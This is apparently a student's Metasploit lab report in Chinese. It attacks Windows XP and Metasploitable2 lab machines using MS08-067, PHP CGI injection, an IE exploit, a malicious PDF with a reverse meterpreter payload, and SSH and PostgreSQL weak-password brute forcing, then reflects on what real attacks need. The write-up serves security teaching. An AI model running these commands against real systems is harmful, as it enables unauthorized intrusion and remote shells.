实践内容
主动攻击
ms08-067
靶机:Windows XP
-
首先用nmap探测是否存在漏洞
nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.79.151
-
在msf控制台中搜索对应模块
search ms08-067
-
use exploit/windows/smb/ms08_067_netapi
进入模块 -
show payloads
显示可用的攻击载荷
-
set payload generic/shell_reverse_tcp
设置攻击的载荷 -
设置参数并发动攻击
set LHOST 192.168.79.137
set RHOST 192.168.79.151
成功获取shell
php_cgi_arg_injection(唯一)
靶机:Metasploitable2
靶机开放了80端口,运行着php服务,并且支持cgi模式
-
use exploit/multi/http/php_cgi_arg_injection
进入模块。 -
show options
查看选项,其中只有RHOST
是要我们设置的
-
发动攻击
成功执行命令。但是这里并不是真正的shell,只是利用php执行系统命令,所以看到用户是www-data
GPP(唯一)
最近一场ctf比赛中的题目,也是我第一次在接近实战的环境下使用msf
De1CTF Hard_Pentest_1
针对浏览器的攻击
靶机:Windows XP
-
search ms10-018
查看漏洞
-
use exploit/windows/browser/ms10_10-018_ie_behaviors
进入该模块 -
info
查看受影响的版本以及参数
-
没什么要我们配置的的参数,直接
exploit
可以看到本地已经将恶意服务开放在8080端口,url为http://192.168.79.137:8080/sdVe10qkt
-
靶机用IE访问这个url后就会执行我们的恶意代码,建立新的连接。用
sessions
查看建立的会话,sessions -i 1
进入,成功获取shell
针对客户端的攻击
靶机:Windows XP
-
search adobe
搜索针对adobe的攻击模块
-
use exploit/windows/fileformat/adobe_cooltype_sing
进入该模块 -
info
查看信息,说明是产生一个恶意的pdf文件,当用adobe打开时就会发动攻击
-
设置参数并生成恶意文件
set payload windows/meterpreter/reverse_tcp set LHOST 192.168.79.137 set LPORT 5211 set FILENAME evil5211.pdf exploit
-
开始监听,准备收shell
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.79.137 set LPORT 5211 exploit
-
将生成的文件复制到靶机中,打开
报错,没有响应
-
但是我们已经收到shell了
辅助模块
靶机:Metasploitable2
首先用nmap扫一下端口,发现开着不少服务
ssh_login
-
22端口开着,我们尝试一下弱口令爆破。首先
search ssh type:auxiliary
寻找可用的模块
-
use auxiliary/scanner/ssh/ssh_login
进入模块 -
show options
查看选项 -
设置
set RHOSTS 192.168.79.150 set THREADS 10 set USERPASS_FILE /usr/share/worldlists/metasploit/piata_ssh_userpass.txt
-
exploit
开始爆破。但是我这个人不看见它动我就不放心,所以还设置了set VERBOSE true
,这样可以看到每次尝试的结果。最后可以看到成功试出弱口令user:user
,并且自动帮我们开了个session
-
进入会话,成功登录
postgres_login(唯一)
postgres端口也开着,不如顺便试试能不能登进去数据库
-
search postgres type:auxiliary
查找可用模块
-
use auxiliary/scanner/postgres/postgres_login
进入模块 -
show options
查看选项 -
设置
set RHOSTS 192.168.79.150
就行了,别的都帮我们配好了
-
exploit
弱口令
postgres:postgres
-
psql -h 192.168.79.150 -U postgres
然后输入密码,成功登录
报告内容
基础问题回答
- 用自己的话解释什么是exploit,payload,encode
- exploit:利用发现的安全漏洞或配置弱点对靶机进行攻击,将payload发送给靶机。
- payload:植入靶机的恶意代码,通常目的是建立会话连接
- encode:编码,可以混淆恶意代码,免杀,或者消除bad char
实践总结与体会
这次试验主要是利用msf这个平台针对漏洞进行攻击。msf功能确实很强大,通过这次试验,我对metasploit的结构有了更加清晰的认识,更加熟悉metasploit的操作。但是其实只是不断循环search、info、set、exploit的过程,我觉得还是没有攻防的感觉,离实战差的也是比较远。
离实战还缺些什么技术或步骤?
- 这次试验用的都是陈年老洞了,实战上派上用场的机会不大。尤其是如果目标是个稍微打过补丁的,软件及时更新的,就比较难办。挖0day很难,1day的话msf更新可能没这么快吧。我觉得实战还是需要跟上时代脚步,自己研究最新的漏洞
- 信息收集是最重要的步骤其实,要是连什么服务,什么版本都不知道,就算有洞也不知道,只能瞎碰,一切都无从谈起。获取权限后,维持权限、横向渗透、消除痕迹都是很重要的步骤
- 浏览器攻击,我们如何让靶机访问我们的页面呢?社工或者xss、ssrf?那客户端攻击,比如adobe,怎么让客户端下载并打开我们的恶意pdf呢?一次完整的攻击是多种技术的结合,没有那么理想的情况
- 据我仅有的一点渗透经验,弱口令恐怕是最没技术含量却又最有效的攻击方式